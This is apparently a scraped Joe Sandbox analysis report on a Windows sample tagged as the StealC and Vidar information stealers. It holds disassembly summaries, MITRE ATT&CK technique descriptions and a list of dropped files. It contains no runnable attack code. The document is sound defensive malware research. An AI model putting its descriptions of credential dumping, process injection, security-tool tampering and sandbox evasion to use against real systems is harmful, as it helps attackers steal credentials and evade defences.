Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction ID: fe99e3e7cc7026cdc591976d874872a8b6039d257af178db3d3df5153889b693
Opcode Fuzzy Hash: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction Fuzzy Hash: FA31C571A1060A8FEB08CF2CCD806AA73E9EB85344F504639D52AC7655EF31E65ACB91

Function 6C60B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5B0A4D), ref: 6C60B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5B0A4D), ref: 6C60B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5B0A4D), ref: 6C60B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5B0A4D), ref: 6C60B67F

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction ID: c005816eac53de3db2f64862330d05e188912859335dcd8631030355d99441d6
Opcode Fuzzy Hash: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction Fuzzy Hash: 4931D471A112168FEB14CF59C98465AFBB9FFC1304F16C569C806AB201DB31E915CBE5

Function 6C5DF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF668

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f3efbb9df7ab69244732f3331dbab488b233a8e45ecd5aa99811ab534ae9bba5
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 35314F71A00314AFC714CF5DDCC0A9F77B5EB85358B188A39FA4A8BB05D632F9448B98

Function 6C5F26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26C1
free.MOZGLUE(?), ref: 6C5F26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26FF
free.MOZGLUE ref: 6C5F270D

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction ID: 836eab60d468a3676c8e9ebce83fa91ae8bd3a814d68d1400a0f09585e9a4d07
Opcode Fuzzy Hash: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction Fuzzy Hash: D4F0F9F27012406BFB049A59DCC494BB3ADEF81258B500035EA2AC3B01E732F91ACAD7

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIJEGCGDGHDHIDHDGCBGIJKFC

C:\ProgramData\CFIIIJJK

C:\ProgramData\CGCFCFBK

C:\ProgramData\DGIJEGHDAECAKECAFCAK

C:\ProgramData\FBKJKEHIJECGCBFIJEGI

C:\ProgramData\IIJDBGDGCGDAKFIDGIDB

C:\ProgramData\KJEHJKJEBGHJJKEBGIECAAFIJK

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre